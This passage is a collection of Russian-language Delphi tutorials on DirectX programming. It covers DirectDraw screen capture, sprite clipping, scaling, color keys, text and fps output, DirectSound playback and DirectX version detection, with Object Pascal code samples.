g_pBackBuffer.BltFast( x, y, g_pMovie[ frame ], nil, DDBLTFAST_WAIT );

Однако можно третьим параметром указать общую data-поверхность, а четвертым - не nil, а область на этой поверхности:

g_pBackBuffer.BltFast( x, y, g_pDataSurface, arrayRect[ FRAME_01 ], DDBLTFAST_WAIT );

Тогда можно не создавать отдельные поверхности и не заниматься копированием данных. Однако есть и недостатки. Например, память видеокарты должна быть достаточно большой - если памяти не хватит для размещения всей data-поверхности, DirectDraw разместит её в системной памяти, и процесс вывода изображения резко замедлится - вот вам и оптимизация! Также могут возникнуть проблемы с цветовыми ключами и корректным отображением спрайтов. В общем, решение половинчатое.

PRINTSCREEN

Заманчиво, когда в программе имеется возможность делать "снимки" экрана и сразу записывать их в файл. Этот пример ничем не отличается от предыдущих, за исключением того, что при нажатии на клавишу "Пробел" делается запись содержимого экрана в файл screen.bmp. Функция, которая проделывает эту работу, находится в файле pscreen.pas. Рассмотрим её.

Первым делом создаётся новый файл или открывается для перезаписи старый:

// созда?м файл с заданным именем, в него будет производиться запись
hFile := CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_READ, nil,
  CREATE_ALWAYS, 0, 0);
if hFile = INVALID_HANDLE_VALUE then
begin
  CloseHandle(hFile);
  exit;
end;

// Затем нам необходимо получить данные о поверхности(здесь в функцию передан
// дополнительный буфер):

// подготавливаем структуру TDDSURFACEDESC2
ZeroMemory(@ddsd2, sizeof(TDDSURFACEDESC2));
ddsd2.dwSize := sizeof(TDDSURFACEDESC2);

// получаем формат поверхности
pSurface.GetSurfaceDesc(ddsd2);
dwWidth := ddsd2.dwWidth;
dwHeight := ddsd2.dwHeight;
dwBPP := ddsd2.ddpfPixelFormat.dwRGBBitCount;

// Структура ddsd2 используется дополнительно в методе
// Lock()поверхности.Заблокировав поверхность, можно обратится к е? содержимому
// для чтения данных:

// блокируем поверхность DirectDraw
if (FAILED(pSurface.Lock(nil, ddsd2, DDLOCK_WAIT, 0))) then
  exit;

Затем необходимо выделить достаточное количество памяти под массив пикселей. Число три в конце выражения - это потому, что вывод будет осуществляться в 24-битный файл:

pPixels := pbyte(GlobalAllocPtr( GMEM_MOVEABLE, dwWidth * dwHeight * 3 ));

Затем начинается главное. Т. к. формат пикселя поверхности в каждом из графических режимов различается, необходимо предусмотреть все особенности размещения данных. Бессмысленно подробно описывать все операции - они запутанны и сложны. Мне понадобилось некоторое количество времени, чтобы правильно перевести все операции с указателями с языка C++ в контекст Object Pascal. Операции с указателями на этом языке получаются довольно путаными, малейшая оплошность приводит к тому, что обычно в файл записывается не тот участок памяти (получается мешанина из пикселей), или запись вообще не происходит. Обратите внимание на такую строку:

pixel := PDWORD(DWORD(ddsd2.lpSurface) + i * 4 + j * ddsd2.lPitch)^;

Здесь определяется цвет нового пикселя поверхности. ddsd2.lpSurface - это указатель на начало данных поверхности, а ddsd2.lPitch - шаг поверхности, учитывать его нужно обязательно. После того, как данные скопированы в массив, поверхность обязательно нужно разблокировать. Теперь можно начать запись данных в файл.

Для начала необходимо вручную подготовить структуры BITMAPFILEHEADER и BITMAPINFOHEADER. В последней надо указать ширину и высоту растра, а также разрядность пикселя. Тип сжатия должен быть BI_RGB - т. е. без сжатия. После этого с помощью API-функций Windows последовательно в файл записываются структуры BITMAPFILEHEADER, BITMAPINFOHEADER и далее - подготовленные данные из памяти. После записи файл необходимо закрыть, а память - освободить:

// закрываем файл
CloseHandle(hFile);
pPixels := nil;

Функция получилась громоздкой, согласен. Однако иного способа не существует - во всём виноват формат поверхности. Кстати, я не учёл режим в 256 цветов - опять же по причине анахронизма.

И последнее. Данная функция работает не совсем корректно - если открыть созданный файл в графическом редакторе, то под большим увеличением можно заметить ма-аленький цветовой артефакт - один стобик пикселей имеет не тот цвет. Решение этой проблемы я так и не смог найти.

Автор: Виктор Кода

Взято с http://delphiworld.narod.ru


DirectX для начинающих. Часть вторая

Прошёл месяц с тех пор как я написал первую часть ( http://www.delphikingdom.com/helloworld/directx.htm ) статьи по использованию DirectX в среде Delphi. У меня накопилось ещё несколько примеров, которые, надеюсь, послужат наглядным руководством для начинающих.
Прежде, чем описывать предложенные общему вниманию программы, хочу сообщить о некоторых изменениях в их коде по сравнению с примерами первой статьи, чтобы не останавливаться впоследствии на этих мелких деталях.

Вызовы _AddRef() и _Release() больше не используются – в конце концов я посчитал это бессмысленной тратой времени при наборе кода. К тому же, как выяснилось, что вызов именно этих методов привёл к неработоспособности одного из примеров предыдущей статьи – если кто интересовался, знает, что это был пример опроса клавиатуры с использованием DirectInput. После удаления вызовов программа стал работать корректно. По-видимому, имело место некорректное взаимодействие с драйвером клавиатуры.

Выражение вида if COM-объект <> nil then COM-объект := nil
переписано с использованием процедуры следующего вида:

procedure SAFE_DELETE(p: TInterfacedObject);
begin
  if p <> nil then
    p := nil
end;

Теперь достаточно написать SAFE_DELETE( @COM-объект ) – может, это покажется и излишним, но поверьте, в более крупных программах, где надо удалить 15-20 COM-интерфейсов, это становится удобным и сокращает код. Все эти соображения навеяны под влиянием примеров из MS SDK. Кстати, может, кто-то несогласен с правильностью описанной процедуры?

Модуль basedd8.pas в проектах для DirectDraw переименован в basedd7.pas – всё-таки DirectDraw – это часть DirectX 7, в версий 8 он как таковой отсутствует.

В функции LoadFiles() добавлен вызов DeleteObject() – как известно, после работы объекты GDI надо удалять, иначе они поглощают ресурсы системы. В данном случае именно такой объект создаётся при вызове функции GDI LoadImage() – казалось бы, тип HBITMAP – это всего лишь переопределение типа LongWord, копилятор самостоятельно удалит переменную этого типа после выхода из функции. На самом деле GDI при вызове LoadImage() (и других подобных функций) создаёт ресурс GDI и резервирует для него часть системной памяти, а переменная hBmp – всего лишь идентификатор этого ресурса в общем списке ресурсов Windows. Поэтому в процессе выполнения программы будет удаляться только идентификатор, а ресурс, на который он указывает, будет «висеть» в памяти. Именно поэтому следует вызвать DeleteObject() для удаления объекта GDI. В предыдушем примере я не сделал этого по причине недосмотра.
Большая часть примеров в этой статье предназначена для работы с DirectDraw – как мне кажется, наиболее востребованному элементу DirectX (кроме, естественно, Direct3D).

Надеюсь, мой стиль написания кода программ покажется удовлетворительным – он почти во всём подобен стилю, который использовали составители DirectX SDK. Вообще, многие пишут, как курица лапой – и предлагают свои творения на всеобщее обозрение. Ещё полезно заглянуть на страницу в нашем уважаемом Королевстве - http://www.delphikingdom.com/article/tassel.htm - это классика.
Почему я не рекомендую использовать DelphiX

Хочется поделиться с новичками своим мнением по поводу компонетов DelphiX и почему я не рекомендую их использовать.
С одной стороны, DelphiX - это удобно – нет необходимости выполнять утомительный набор методов DirectX и длинных, как многоступенчатая ракета, констант наподобие DDENUMSURFACES_CANBECREATED. Однако давайте посмотрим – используется что-нибудь подобное в С++? Я не могу исследовать всю Сеть в поисках овета на такой вопрос, но, думается – нет. Почему?

Такие наборы классов – это нестандартный подход. Допустим, вы потратили изрядно своего времени и досконально изучили DelphiX. Так вот, изучив всё ЭТО, вы в итоге не изучили сам DirectX. Второе – изученные классы обладают многим и позволяют писать реальные программы, но всё равно этот подход очень негибок – вы ограничены тем, что уже сделано. На этот счёт у меня есть веский аргумент – это Direct3D. Вот тут DelphiX уж точно не даст развернуться как следует – и это характерно и для других компонент DirectX, пусть и в меньшей мере. Третье – немного, но снижается быстродействие. Четвёртое – в классах DelphiX кроме непосредственных вызовов методов интерфейсов DirectX используются ещё и собственные функции – кто даст гарантию, что в них нет ошибок?

В конце концов, именно за такие вот «примочки» Delphi не в почёте у С-программистов – они попросту надсмехаются над такими методами разработки программ. К сожалению, должен к ним присоединиться и я. Как же так, возмутятся многие. Компонентный подход – это ведь основа основ Delphi! Согласен, использование TMemo или TComboBox – это действительно удобный подход, да что там – превосходный, отличный подход! Но вот в случае с DirectX или чем-то подобным использовать такие средства разработки крайне нежелательно. Как бы вы отнеслись к компоненту TOpenGL? Или TWin32API? Вот так-то. DelphiX можно использовать как источник разных идей по реализации того или иного эффекта – перенося всё это в свою программу в виде отдельных функций или собственноручно написанных классов. Так что изучайте прямой API – для уверенности в завтрашнем дне и в собственной квалификации.

Собственно, сами примеры

Bounds

В предыдущей статье я предложил вниманию только один пример для DirectDraw – простая реализация вывода спрайта поверх фона в задний буфер и перенос построенной картинки на экран. Спрайт не мог выйти за пределы экрана – и это не спроста. Если убрать досадное ограничение, то выяснится, что как только часть спрайта выходит за границы экрана (а фактически границы заднего буфера), то сразу исчезает полностью. Возвращение в прежнюю позицию восстанавливает вывод.

Когда я впервые столкнулся с этой проблемой, меня это неприятно поразило. Оказалось, что необходимо использовать интерфейс отсечения – IDirectDrawClipper. Однако он предназначен только для оконных приложений, в полноэкранном режиме от него нет никакого проку. Как уже было упомянуто, рекомендую программировать только полноэкранные приложения как наиболее быстродействующие, и забыть об оконных. Так как же быть – тупик?

К сожалению, даже в SDK нет примеров решения этого вопроса. Впрочем ответить на него не так уж сложно – нужно лишь понять, что хочет DirectDraw и как это преподнести.

Корень проблемы в том, что как только при копировании методом BltFast() часть поверхности выходит за край той поверхности, на которую она копируется (обычно задний буфер), вывод не осуществляется. В чём причина такого нелепого ограничения – думается, опять же в обеспечении наибольшего быстродействия. Например, вы планируете создать игру типа Tetris, а не скроллинговую стрелялку, и все ваши спрайты будут двигаться только в пределах экрана – но вот DirectDraw всё равно пришлось бы проверять их выход за границы, даже при отсутствии в этом необходимости. Хотя эту проблему можно было бы решить с помощью флагов при создании конкретной поверхности, но Microsoft этого не сделала. Ну что же, сделаем за неё эту работу.

Обратите внимание на четвёртый параметр метода IDirectDrawSurface7.BltFast() – это адрес структуры типа TRect. Для чего он нужен? Как известно, назначение струтуры TRect в GDI API – указание положения и размера какой либо области путём задания левого верхнего и правого нижнего угла. Так вот, эта структура позволяет указать DirectDraw о необходимости вывести не всё изображение спрайта, а лишь его часть:

Воспользуемся этой структурой и будем вместо всего спрайта выводить какую-то его облать – ту, которая будет видна на экране, а невидимая будет находиться вне области, описываемой структурой TRect. Т. о. будет создаваться лишь иллюзия пребывания спрайта за пределами экрана. Например, спрайт выходит за границы экрана, как это показано на самом первом рисунке. Тогда выводимая область должна быть такой (показана красным цветом):

Теперь повоображайте и нарисуйте на бумаге, как будут выглядеть выводимые части спрайта при различных его положениях за границами экрана.

Вот код, ответственный за вывод части изображения:

// Предполагаем, что края спрайта не выходят за границы экрана
SetRect(rRect, 0, 0, SPRITE_WIDTH, SPRITE_HEIGHT);

// Проверяем выход кра?в, и если такая ситуация имеет место, то корректируем
// положение области копирования на поверхности спрайта
if nX < 0 then
  rRect.Left := -nX;
if nY < 0 then
  rRect.Top := -nY;
if nX + SPRITE_WIDTH > SCREEN_WIDTH then
  rRect.Right := SCREEN_WIDTH - nX;
if nY + SPRITE_HEIGHT > SCREEN_HEIGHT then
  rRect.Bottom := SCREEN_HEIGHT - nY;

Где nX и nY – координаты левого верхнего угла спрайта. При выводе надо не забыть скорректировать их:

nX + rRect.Left, nY + rRect.Top

Вот и всё. Запустите проект на выполнение – вы увидите, что теперь свободно отбражается даже часть спрайта. Выведите его полностью за пределы экрана – начнёт жужжать встроенный динамик компьютера – эта возможность введена для проверки правильности алгоритма. Кстати, если необходимо вывести всю поверхность изображения, вместо адреса структуры следует передать nil – как это сделано для фона.

Scale

Иногда при выводе может понадобится растянуть или сжать объект по осям или просто увеличить или уменьшить его – для подобных эффектов DirectDraw предоставляет метод IDirectDrawSurface.Blt(). Он является хотя и более медленным, чем BltFast() – однако при этом более функционален. Так вот, мы снова будем указывать с помощью структуры TRect область вывода изображения – но уже на поверхности-приёмнике данных. Изменяя её размеры, можно добиться пропорционального или непропорционального изменения масштаба изображения по осям X и Y. Думаю, нет надобности описывать действия которые происходят в процедуре OnDraw(). Замечу лишь, что на современных видеокартах с полной аппаратной поддержкой DirectDraw эффект масштабирования выглядит гораздо привлекательнее, чем на «ветеранах».

Transparent

При выводе изображения на экран нередко встаёт проблема затирания заднего фона, а говоря языком профессионалов – проблема вывода нерегулярных спрайтов. Нерегулярный спрайт – это обычный прамоугольный спрайт, который содержит маску для указания прозрачных участков изображения. Пиксели, принадлежащие этим участкам, при выводе игнорируются – создаётся иллюзия прозрачности. В GDI нет прямого способа вывести нерегулярный спрайт – для этого необходимо подготовить изображение и отдельно маску. В чём недостатки такого подхода? Их много. Во-первых, требуется иметь два изображения – это увеличивает объём данных в памяти и на диске. Во-вторых, скорость вывода данного изображения падает вдвое, а ведь GDI и без этого не славится своей скоростью. В третьих, это дополнительная забота того, кто готовит изображение в графическом редакторе. В своё время автор даже написал небольшую утилиту, которая создавала маску для выбранного изображения и записывала её в отдельный файл. Но теперь об этом можно забыть.

DirectDraw предоставляет удобный инструмент для задания маски прозрачности. Цвета пикселей, которые игнорируются, называются «цветовыми ключами». Каждая поверхность может иметь свои цветовые ключи, причём их может быть несколько. Следующий фрагмент кода создаёт и присоединяет к поверхности «цветовой ключ», цвет которого – чёрный.

var
  ddck: TDDCOLORKEY;
begin
  ddck.dwColorSpaceLowValue := 0;
  ddck.dwColorSpaceHighValue := ddck.dwColorSpaceLowValue;

  pSprite.SetColorKey(DDCKEY_SRCBLT, @ddck);

Для указания прозрачного цвета, как видно, используется структура TDDCOLORKEY. В её двух полях необходимо указать нижнюю и верхнюю границу диапазона «прозрачных» цветов. Замечу, что использование диапазона цветов возможно только в случае, если такая возможность поддерживается аппаратно. Поэтому лучше ограничиться каким-либо одним цветом, как это сделано выше. После заполнения структуры TDDCOLORKEY необходимо вызвать метод IDirectDrawSurface7.SetColorKey(), где первый параметр – один из возможных флагов, второй - адрес структуры TDDCOLORKEY. Обычно используется флаг DDCKEY_SRCBLT, который указывает, что при копировании изображения будет использоваться цветовой ключ поверхности-источника. Другие флаги можно узнать из справочной службы DirectX SDK.

Теперь о главном. В приведённом выше фрагменте кода в качестве маски задаются пиксели чёрного цвета. Как известно, нулевое значение обозначает отсутствие цвета во всех графических режимах – 16 цветов, 256, 65535 и т.д.

Поэтому можно смело присваивать 0 для чёрной маски в любом режиме. Однако, предположим, нам надо задать цветовой ключ в виде чистого синего цвета. Для 24- и 32-битного режима это можно сделать с помощью макроса (функции) из модуля windows.pas:

function RGB(r, g, b: Byte): COLORREF;
begin
  Result := (r or (g shl 8) or (b shl 16));
end;

Зарезервированное слово shl относится к сдвиговым операциям и сдвигает содержимое на указанное значение влево.

Т.к. в этих графических режимах каждый из трёх цветов (красный, синий и зелёный) кодируется одним байтом, то значение каждого параметра функции должно лежать в пределах от 0 до 255. Вот как это можно представить графически:

Так, для задания цветового ключа в виде чистого синего цвета необходимо написать так:

ddck.dwColorSpaceLowValue := RGB( 0, 0, 255 );
ddck.dwColorSpaceHighValue := ddck.dwColorSpaceLowValue;

Ну и в том же духе, в полном соответствии с теорией цвета. А теперь попробуйте задать цветовой ключ для 16-битового режима. Ничего не получится. Почему? Дело в том, что цвет пикселя хранится в ячейке длиной в 16 бит, а цветовых составляющих – 3, появляется лишний бит, который чаще отдаётся зелёному цвету, а иногда просто не используется. Формат, где теряется лишний бит, обозначается 5-5-5 (на каждую цветовую составляющую по пять бит, а не одному байту), другой формат обозначается 5-6-5 (на зелёную составляющую выделяется 6 бит ). Понятно, что задание цвета с помощью функции RGB() для таких форматов ни к чему ни приведёт.

В своё время я довольно долго промучился с этой проблемой, тем более что в имеющейся литературе ничего об этом не сказано. В конце концов решил, что необходимо написать аналогичную к RGB() функцию, но об этом немного позже. Давайте сначала выясним, какой же формат использует установленная на нашем компьютере видеокарта. DirectDraw позволяет узнать это с помощью функции IDirectDrawSurface7.GetPixelFormat(). Единственным параметром необходимо передать адрес структуры TDDPIXELFORMAT. Вот фрагмент соответствующего кода:

var
  ddpf: TDDPIXELFORMAT;
begin
  ZeroMemory(@ddpf, SizeOf(TDDPIXELFORMAT));
  ddpf.dwSize := SizeOf(TDDPIXELFORMAT);

  pSprite.GetPixelFormat(ddpf);

Формат цветовых составляющих описывается в полях dwRBitMask, dwGBitMask и dwBBitMask структуры TDDPIXELFORMAT – но только в том случае, если битовое поле dwFlags содержит флаг DDPF_RGB – признак того, что поверхность создана в RGB-режиме. Значения полей dwRBitMask, dwGBitMask и dwBBitMask для режимов с разной глубиной палитры описываются в разделе dwRBitMask, dwGBitMask и dwBBitMask справочной службы DirectX SDK:

DDPF_RGB 16 R: 0x0000F800
            G: 0x000007E0
            B: 0x0000001F
            A: 0x00000000

DDPF_RGB 16 R: 0x0000001F
            G: 0x000007E0
            B: 0x0000F800
            A: 0x00000000

DDPF_RGB 16 R: 0x00007C00
            G: 0x000003E0
            B: 0x0000001F
            A: 0x00000000

Запустите готовое приложение GetPixFormat из каталога DXCommon – и посмотрите, какой формат поверхности использует ваша карта в 16-битовом режиме. Скажу, что на компьютере с видеоакселератором GeForce 2 MX 420 получались значения из самой верхней ячейки – и это соответствует формату 5-6-5. По-моему, именно такой формат принят во всех современных видеокартах (заметьте, что во второй ячейке таблицы составляющие R и B переставлены местами). А вот, например, дедушка S3 Trio 3D/2X использует формат, описанный в нижней ячейке – опытным путём установлено, что это 5-5-5.

Вот как должен быть переписан макрос для формата 5-6-5:

function RGB565(r, g, b: Byte): COLORREF;
begin
  Result := ((r shl 11) or (g shl 5) or b);
end;

Графически битовая маска может быть представлена так:

А вот как должен выглядеть макрос для формата 5-5-5:

function RGB555(r, g, b: Byte): COLORREF;
begin
  Result := ((r shl 10) or (g shl 5) or b);
end;

Графически битовая маска может быть представлена так:

Как видно, последний бит не используется. Обратите внимание, что группа битов, отвечающих за красную и синию составляющую, в 16-битовом режиме поменялись старшинством. А формат, описанный во второй ячейке таблицы, наоборот, по старшинству схож с 24- и 32-битовым режимами. Подозреваю, что используется этот формат довольно редко.

Естетственно, что теперь максимальное значение, передаваемое в макросы (функции) RGB565() и RGB555(), соответствует значению 31, а для задания читого зелёного цвета в режиме 5-6-5 необходимо указать RGB565( 0, 63, 0 ), т. к. битов 6.

Для того, чтобы наша DirectDraw-программа без проблем работала в обоих форматах, необходимо проверить текущий формат, запомнить его и при задании цветового ключа для поверхности вызвать соответствующий макрос. Всё это и делается в приложении Transparent – надеюсь при его разборе у вас не возникнет проблем. Не забудьте при копировании методом BltFast() указать флаг DDBLTFAST_SRCCOLORKEY.

Fps

Ещё один полезный пример – вывод текста на поверхность DirectDraw – в виде значения fps. Сама компонента не обладает такими средствами – DirectDraw изначально создавался лишь для максимально быстрого копирования одного изображения на другое. Для вывода текста необходимо использовать GDI.

Как неоднократно упоминалось, GDI очень медленнен, и вывод текста – одна из функций, которая серьёзно может «притормозить» DirectDraw-программу. Поэтому необходимо пользоваться этой функцией как можно реже. Для взаимодействия DirectDraw c GDI введён простой метод IDirectDrawSurface7.GetDC(). Получив контектс, можно спокойно чертить в нём всеми мыслимыми функциями GDI. Метод IDirectDrawSurface7.ReleaseDC() переносит содержимое контекста в область памяти, занятую поверхностью DirectDraw и удаляет контекст.

Откройте файл проекта fps.dpr. Т. к. функция TextOut() уже занята, функцию, отвечающую за вывод текста, пришлось назвать менее звучно – OutText(). Я не буду подробно описывать её, надеюсь, всё понятно. Для ускорения работы программы я поступил так: для вывода текста используется отдельная поверхность – именно на неё и выводится текст средствами GDI. Затем всё время поверхность просто копируется на задний буфер – это осуществляется гораздо быстрее, чем постоянный вывод текста на задний буфер, а когда появляется необходимость изменить текст – он снова выводится на нашу отдельную поверхность. Потребность изменить текст появляется лишь раз в секунду.

Для вызова OutText() я использовал мультимедиа-таймер Windows. Значение fps наращивается при каждом построении кадра и обнуляется после вызова OutText().

И последнее. По-видимому, в операционной системе Windows 2000 функции GDI должны работать быстрее, т. к. эта ОС полностью 32-х разрядная. Но всё же рекомендую пользоваться описанным выше подходом.

Text

Ещё один пример вывода текста – но уже на задний буфер. Добавлен мною для полноты темы. Текст заданных размеров постоянно выводится на задний буфер без поверхности-посредника. При выводе текста я столкнулся с одной проблемой – это сглаживание краёв символов. В модуле windows.pas описана константа ANTIALIASED_QUALITY, но её задание в параметре fdwQuality функции CreateFont() ни к чему ни привело. Может быть, в Windows 9x и МЕ это значение не используется? Во всяком случае, константы ANTIALIASED_QUALITY и NONANTIALIASED_QUALITY в справке Delphi Help не описаны.

Sound

Эта программа – прямое продолжение моего первого примера по использованию DirectSound. Введено ряд усовершенствований:

1. Файл lowfunc.pas теперь полностью закончен и является практически прямым переводом файла wavread.cpp. Выражаю благодарность Max Morozov и iXania, которые помогли мне перевести некоторые сложные конструкции с языка C++ на Object Pascal, т. к. самому мне для этого не хватило квалификации. Теперь нет необходимости использовать отдельную динамическую библиотеку – весь код располагается в exe-файле. Всем спасибо.

2. Я решил написать небольшой класс TWave – он сам заботится об открытии звукового файла, чтении данных из него в звуковой буфер и проигрывании их. Функциональность класса не полная – это лишь пример. Благодаря ООП главный модуль main.pas серьёзно уменьшился, теперь для воспроизведения wav-файла средствами DirectSound достаточно написать:

var
  sound: TWave;
begin
  sound := TWave.Create();
  sound.OpenWaveFile('wavefile.wav');
  sound.Play();

Правда, просто?

GetDXVer и GetDXVerSetup

Я решил заглянуть в некоторые области DirectX, до которых руки многих авторов книг по DirectX попросту «не доходят». Например, написание программы для определения текущей версии DirectX. Иногда это может быть очень полезно.

Первый пример, который я предлагаю вашему вниманию – это GetDXVer. Это аналог из DirectX SDK для Visual C++. Функция GetDXVersion() ответственна за получение намера текущей версии DirectX. Каким образом она действует? Механизм прост, но достаточно громозд. Сначала загружается нужная динамическая библиотека из комплекса DirectX, например DDRAW.DLL или DINPUT.DLL. Затем получают адреса функций, которые экспортируют эти библиотеки – это «создающие» функции наподобие DirectDrawCreate() или DirectInputCreateA(). Затем при помощи этих функций и создаются нужные интерфейсы вроде IDirectDraw и т.п. Если на каком-то шаге происходит сбой, это означает, что данная функция или интерфейс не поддерживаются. Зная, в какой версии появился тот или иной интерфейс, можно выяснить текущую версию DirectX. Ещё одна функция, GetDXRegVersion(), извлекает полный порядковый номер из реестра Windows. Кстати, эта функция может в принципе читать любой строковый параметр из реестра и делает ненужным использование класса TRegistry, что очень важно, если мы хотим получить маленький по размерам исходный модуль.

Пример имеет два недостатка:

1. Работает с некоторой задержкой. Для создания всех интерфейсов требуется некоторое время. Особо медленно создаётся интерфейс IDirectMusic.

2. Программа не способна определить номер версии, если он выше 8 – это принципиальный барьер.

Ещё один пример – GetDXVerSetup – использует специальную функцию DirectXSetupGetVersion() из библиотеки dsetup.dll. эта библиотека не входит в стандартный run-time DirectX, а поставляется только с setup-программами установки DirectX на компьютер пользователя. При написании этого примера я столкнулся с двумя проблемами:

1. В Help-службе DirectX SDK 7 указаны такие возможные значения, которые могут быть помещены в переменную pdwVersion при вызове функции DirectXSetupGetVersion():

DirectX version   Value pointed to by pdwVersion
DirectX 1         0x00040001
DirectX 2         0x00040002
DirectX 3         0x00040003
DirectX 5.0       0x00040005
DirectX 6.0       0x00040006
DirectX 7.0       0x00040007

А вот в Help-службе DirectX SDK 8 указаны такие:

DirectX version   Value pointed to by pdwVersion
DirectX 1         0x00000000
DirectX 2         0x00000000
DirectX 3         0x00000000
DirectX 5.0       0x00040005
DirectX 6.0       0x00040006
DirectX 7.0       0x00040007
DirectX 8.0       0x00040008

Зачем понадобилось обозначить версии 1, 2 и 3 как отсутствие DirectX – непонятно. Может быть, Microsoft посчитала, что эти ранние версии уже слишком устарели и не обеспечивают пользователя нужными мультимедиа-средствами? А раз так, то может быть лучше вообще известить об отсутствии DirectX? Может статься, что это просто ошибка в файле справки. Второй вариант более правдоподобен, первый – забавен.

Используя файл directsetup.pas, мне не удалось экспортировать функцию DirectXSetupGetVersion() из библиотеки dsetup.dll. Дело в том, что она ищется в каталоге, по-видимому, указанном в ключе реестра HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectXDrivers, но я не обнаружил такой ключ в своём реестре. Так что воспользоваться этим файлом не представилось возможным. К тому же структуры TDirectXRegisterAppW2 не существует – приехали!

Я самостоятельно перевёл файл dsetup.h из SDK 8 в файл dsetup.pas, пытаясь максимально точно соблюдать синтаксис структур и параметро функций. Может быть, кто-то им воспользуется.

Недостаток приведенного метода в том, что вам придётся постоянно «таскать» библиотеку dsetup.dll вместе с исходной программой.

Заключение

Написание подобных статей – хороший стимул к тщательному изучению DirectX. Скажу, что чем больше работаю с этим комплексом, тем больше разных нюансов всплывает на поверхность.

Надеюсь, что мои усилия хоть как-то помогут остальным желающим освоить этого игрового «монстра». Я надеюсь продолжить изучение DirectX и как только получится создать что-то стоящее, попробую поделиться сделанным с остальными.

Напоследок хочу выразить особую благодарность Антону Ржешевскому за его дельные советы в освоении DirectX и не только.

Автор: Виктор Кода

Взято с http://delphiworld.narod.ru


DirectX (Игровой SDK)

Автор: Стас Бакулин

Взято с http://delphiworld.narod.ru


DirectX (Игровой SDK) 1

Модель компонентных объектов (СОМ)

Перед углублением и изнурительные подробности DirectDraw сначала несколько слов о модели компонентных объектов - кратко СОМ. Delphi использует объектно-ориентированный язык программирования Object Pascal. Дизайнеры Delphi решили сделать родные Delphi объекты полностью совместимыми с СОМ и OLE. Это большая новость для нас, потому что DirectDraw использует интерфейс СОМ и поэтому из Delphi получить к нему доступ достаточно просто.

Объекты СОМ подробно освещены в разделе Delphi. Но для того, чтобы сэкономить ваше время, предоставлю краткий обзор. В Delphi вы работаете с объектом СОМ практически так же, как и с другим объектом. Объекты СОМ выглядят по сути как обычные объекты Delphi. Они имеют методы, которые вы вызываете для доступа к их услугам. Тем не менее, они не имеют полей или свойств. Главным отличием является то, что вы вызываете метод Release вместо метода Free, если вы хотите освободить эти объекты.

Вы также никогда не создаете объект СОМ путем вызова конструктора. Вместо этого вы вызываете функцию в DirectDraw для создания главного объекта DirectDraw. Этот объект имеет дальнейшие методы, которые вы используете для создания других методов. Помимо этих двух вопросов вы можете фактически думать о них как об объектах Delphi.

Объекты СОМ DirectDraw определяются в довольно сложном файле-заголовке на С, который поставляется с Game SDK. Однако я перевел это в модуль импорта, который вы можете использовать в Delphi. Это файл DDraw.pas на сопровождающем CD-ROM. Для того, чтобы получить доступ к DirectDraw, просто добавьте DDraw в предложение uses.

DirectDraw

DirectDraw может оказаться довольно каверзным в использовании. На первый взляд он кажется простым; существует только несколько СОМ-классов и они не имеют большого количества методов. Однако DirectDraw использует записи для определения всех видов различных параметров при создании своих объектов. На первый взгляд они выглядят действительно устрашающе. Вы можете найти их в справочных файлах Game SDK, начиная с букв DD, например DDSurfaceDesc. Являясь API низкого уровня, существует множество опций и параметров, которые допускают разницу в спецификациях аппаратного обеспечения и возможностях. К счастью, в большинстве случаев можно проигнорировать множеством этих опций. Самой большой проблемой в момент написания этой книги является недостаток информации в GDK документации, которая описывает, какие комбинации опций разрешаются, поэтому для того, чтобы помочь вам найти путь через минное поле, эта глава поэтапно проходит по всем стадиям создания приложения DirectDraw. Я представляю код, который добавляется на каждом этапе и использует его для объяснения аспекта DirectDraw, также как и рабочий пример, на основании которого можно строить свои собственные программы.

Объект IDirectDraw

DLL с DirectDraw фактически имеет самый простой из интерфейсов. Она экспортирует только одну функцию: DirectDrawCreate. Вы используете эту функцию для создания СОМ-объекта IDirectDraw, который открывает остальную часть API. Таким образом, первое, что должен сделать пример - создать один из таких объектов. Вы делаете это в обработчике события OnCreate формы и разрушаете его в OnDestroy. Лучшим местом хранения объекта является приватное поле главной формы. Листинг 1 содержит базовый код для осуществления этого.

Листинг 1 Создание объекта IDirectDraw.

unit Uniti;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, DDraw;

type
  TFormI = class (TForm)
    procedure FormCreate (Sender: TObject);
    procedure FormDestroy (Sender: TObject) ;
  private
    DirectDraw : IDirectDraw ; // главный объект DirectDraw
end;

var
  Formi: TFormI;

implementation

procedure TFormI. FormCreate (Sender: TObject);
begin
  { создать СОМ-объект DirectDraw }
  if DirectDrawCreate( nil, DirectDraw, nil ) <> DD_OK then
    raise Exception. Create ( 'Failed to create IDirectDraw object' ) ;
end;

procedure TFormI. FormDestroy (Sender: TObject);
begin
  { создать СОМ-объект DirectDraw эа счет вызова его метода Release }
  if Assigned ( DirectDraw ) then
    DirectDraw. Release ;
end;

end.

Вы можете скачать этот тривиальный пример DDDemo1 здесь (пока не можете, я надеюсь это будет позже, прим. Lel). Он не делает что-либо очевидного, когда вы запускаете его, поэтому не ожидайте слишком многого. Я включаю его для того, чтобы показать, как мало кода требуется для создания и освобождения СОМ-объекта DirectDraw. Это действительно очень просто.

Коды возврата DirectDraw и исключения Delphi

Подавляющее большинство функций DirectDraw возвращает результирующий код целого типа с именем HResult, о котором вы можете думать как об integer. Файл DDraw.pas имеет все возможные константы ошибок, занесенные в список, а справочный файл Game SDK указывает на возможные коды ошибки, возвращаемые каждой функцией. Вы можете проверить результаты этих функций, и в болыпинстце случаев возбудить исключение, если результат отличается от DD_OK.

Однако имеется ряд проблем с использованием исключений, поскольку вы переключаетесь на специальный экранный режим. Это означает, что вы не способны видеть Delphi IDE, когда он разрушается или прерывается в момент исключения, и ваша программа кажется замороженной. Установка точки прерывания обычно приводит в результате к одной и той же проблеме: приложение останавливается как раз в точке прерывания, но вы не имеете возможность увидеть Delphi. Добро пожаловать в программирование игр в среде Windows! Я обсуждаю это более подробно несколько позже.

Переключение на полноэкранный режим

Следующее, что необходимо сделать, - это переключить дисплей в режим перелистывания страниц. Когда вы это делаете, становится видимым только ваше приложение. Оно занимает весь экран. Любые другие приложения Windows, которые находятся ц режиме выполнения, подобные Windows Explorer, продолжают работать и могут записывать выходные данные на то, что они считают экраном. Вы не видите, как выглядят выходные данные, потому что другие приложения все еще используют GDI для выходных данных, которому ничего не известно о DirectDraw. Но вам вовсе нет необходимости беспокоиться об этом. GDI будет продолжать беспечно писать в экранную память, хотя вы вдействительности не сможете увидеть его выходные данные.

